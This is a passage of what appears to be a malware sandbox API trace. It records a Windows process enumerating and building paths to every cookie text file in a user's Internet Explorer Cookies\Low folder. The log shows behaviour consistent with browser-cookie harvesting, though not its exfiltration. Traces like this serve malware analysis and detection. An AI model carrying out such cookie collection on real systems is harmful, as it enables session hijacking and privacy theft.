wMatch=0x9a9005c) returned 0x0 [0111.667] PathCombineW (in: pszDest=0x9a92168, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adserving.ancoraplatform[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adserving.ancoraplatform[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adserving.ancoraplatform[2].txt" [0111.667] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1b25c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1b98020, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1b98020, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adsrvr[1].txt", cAlternateFileName="AE235F~1.TXT")) returned 1 [0111.667] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.667] lstrlenW (lpString="aetadzjz@adsrvr[1].txt") returned 22 [0111.667] lstrlenW (lpString="*.txt") returned 5 [0111.667] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a92400 [0111.667] wcscpy (in: _Dest=0x9a92428, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.667] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.668] PathCombineW (in: pszDest=0x9a92428, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adsrvr[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adsrvr[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adsrvr[1].txt" [0111.668] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9a0e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9a0e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9a0e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adtech[2].txt", cAlternateFileName="AEF361~1.TXT")) returned 1 [0111.668] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.668] lstrlenW (lpString="aetadzjz@adtech[2].txt") returned 22 [0111.668] lstrlenW (lpString="*.txt") returned 5 [0111.668] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a92510 [0111.668] wcscpy (in: _Dest=0x9a92538, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.668] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.668] PathCombineW (in: pszDest=0x9a92538, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adtech[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adtech[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adtech[2].txt" [0111.668] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc83538a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1e095400, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1e095400, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@advertising[1].txt", cAlternateFileName="AE1C17~1.TXT")) returned 1 [0111.668] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.668] lstrlenW (lpString="aetadzjz@advertising[1].txt") returned 27 [0111.668] lstrlenW (lpString="*.txt") returned 5 [0111.668] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x112) returned 0x9a92620 [0111.668] wcscpy (in: _Dest=0x9a92648, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.668] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.668] PathCombineW (in: pszDest=0x9a92648, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@advertising[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@advertising[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@advertising[1].txt" [0111.668] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1401a00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1401a00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1401a00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@angsrvr[2].txt", cAlternateFileName="AE10A0~1.TXT")) returned 1 [0111.668] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.668] lstrlenW (lpString="aetadzjz@angsrvr[2].txt") returned 23 [0111.668] lstrlenW (lpString="*.txt") returned 5 [0111.668] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a92740 [0111.668] wcscpy (in: _Dest=0x9a92768, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.668] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.668] PathCombineW (in: pszDest=0x9a92768, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@angsrvr[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@angsrvr[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@angsrvr[2].txt" [0111.668] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd1227c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd1227c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd1227c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@api.bing[2].txt", cAlternateFileName="AEFA13~1.TXT")) returned 1 [0111.668] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.668] lstrlenW (lpString="aetadzjz@api.bing[2].txt") returned 24 [0111.668] lstrlenW (lpString="*.txt") returned 5 [0111.668] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10c) returned 0x9a92860 [0111.668] wcscpy (in: _Dest=0x9a92888, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.668] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.669] PathCombineW (in: pszDest=0x9a92888, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@api.bing[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@api.bing[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@api.bing[2].txt" [0111.669] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8757dc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@at.atwola[2].txt", cAlternateFileName="AEC741~1.TXT")) returned 1 [0111.669] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.669] lstrlenW (lpString="aetadzjz@at.atwola[2].txt") returned 25 [0111.669] lstrlenW (lpString="*.txt") returned 5 [0111.669] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a92980 [0111.669] wcscpy (in: _Dest=0x9a929a8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.669] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.669] PathCombineW (in: pszDest=0x9a929a8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@at.atwola[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@at.atwola[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@at.atwola[2].txt" [0111.669] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a09de0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a09de0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bidswitch[1].txt", cAlternateFileName="AE9589~1.TXT")) returned 1 [0111.669] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.669] lstrlenW (lpString="aetadzjz@bidswitch[1].txt") returned 25 [0111.669] lstrlenW (lpString="*.txt") returned 5 [0111.669] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a92aa0 [0111.669] wcscpy (in: _Dest=0x9a92ac8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.669] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.669] PathCombineW (in: pszDest=0x9a92ac8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@bidswitch[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bidswitch[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bidswitch[1].txt" [0111.669] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bing[1].txt", cAlternateFileName="AE445A~1.TXT")) returned 1 [0111.669] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.669] lstrlenW (lpString="aetadzjz@bing[1].txt") returned 20 [0111.669] lstrlenW (lpString="*.txt") returned 5 [0111.669] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x104) returned 0x9a92bc0 [0111.669] wcscpy (in: _Dest=0x9a92be8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.669] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.669] PathCombineW (in: pszDest=0x9a92be8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@bing[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bing[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bing[1].txt" [0111.669] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1023640, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1936a20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd195cb80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bluekai[1].txt", cAlternateFileName="AE5A80~1.TXT")) returned 1 [0111.669] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.669] lstrlenW (lpString="aetadzjz@bluekai[1].txt") returned 23 [0111.669] lstrlenW (lpString="*.txt") returned 5 [0111.669] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a92cd0 [0111.669] wcscpy (in: _Dest=0x9a92cf8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.669] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.670] PathCombineW (in: pszDest=0x9a92cf8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@bluekai[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bluekai[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bluekai[1].txt" [0111.670] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcaed0a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xfcaed0a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xfcaed0a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bs.serving-sys[1].txt", cAlternateFileName="AE4580~1.TXT")) returned 1 [0111.670] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.670] lstrlenW (lpString="aetadzjz@bs.serving-sys[1].txt") returned 30 [0111.670] lstrlenW (lpString="*.txt") returned 5 [0111.670] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x118) returned 0x9a92df0 [0111.670] wcscpy (in: _Dest=0x9a92e18, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.670] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.670] PathCombineW (in: pszDest=0x9a92e18, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@bs.serving-sys[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[1].txt" [0111.670] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1afa2fa0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1afa2fa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1afa2fa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bs.serving-sys[3].txt", cAlternateFileName="AE9CB5~1.TXT")) returned 1 [0111.670] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.670] lstrlenW (lpString="aetadzjz@bs.serving-sys[3].txt") returned 30 [0111.670] lstrlenW (lpString="*.txt") returned 5 [0111.670] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x118) returned 0x9a92f10 [0111.670] wcscpy (in: _Dest=0x9a92f38, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.670] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.670] PathCombineW (in: pszDest=0x9a92f38, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@bs.serving-sys[3].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[3].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[3].txt" [0111.670] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd16d5420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd16d5420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c.bing[1].txt", cAlternateFileName="AETADZ~2.TXT")) returned 1 [0111.670] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.670] lstrlenW (lpString="aetadzjz@c.bing[1].txt") returned 22 [0111.670] lstrlenW (lpString="*.txt") returned 5 [0111.670] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a93030 [0111.670] wcscpy (in: _Dest=0x9a93058, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.670] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.670] PathCombineW (in: pszDest=0x9a93058, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@c.bing[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.bing[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.bing[1].txt" [0111.670] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf6e420, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf6e420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf6e420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c.msn[2].txt", cAlternateFileName="AETADZ~3.TXT")) returned 1 [0111.670] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.670] lstrlenW (lpString="aetadzjz@c.msn[2].txt") returned 21 [0111.670] lstrlenW (lpString="*.txt") returned 5 [0111.670] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x106) returned 0x9a93140 [0111.670] wcscpy (in: _Dest=0x9a93168, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.670] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.671] PathCombineW (in: pszDest=0x9a93168, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@c.msn[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.msn[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.msn[2].txt" [0111.671] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1747840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c1.microsoft[2].txt", cAlternateFileName="AE0D21~1.TXT")) returned 1 [0111.671] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.671] lstrlenW (lpString="aetadzjz@c1.microsoft[2].txt") returned 28 [0111.671] lstrlenW (lpString="*.txt") returned 5 [0111.671] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x114) returned 0x9a93250 [0111.671] wcscpy (in: _Dest=0x9a93278, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.671] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.671] PathCombineW (in: pszDest=0x9a93278, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@c1.microsoft[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c1.microsoft[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c1.microsoft[2].txt" [0111.671] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd06058c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd06058c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@casalemedia[2].txt", cAlternateFileName="AEEFDF~1.TXT")) returned 1 [0111.671] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.671] lstrlenW (lpString="aetadzjz@casalemedia[2].txt") returned 27 [0111.671] lstrlenW (lpString="*.txt") returned 5 [0111.671] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x112) returned 0x9a93370 [0111.671] wcscpy (in: _Dest=0x9a93398, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.808] 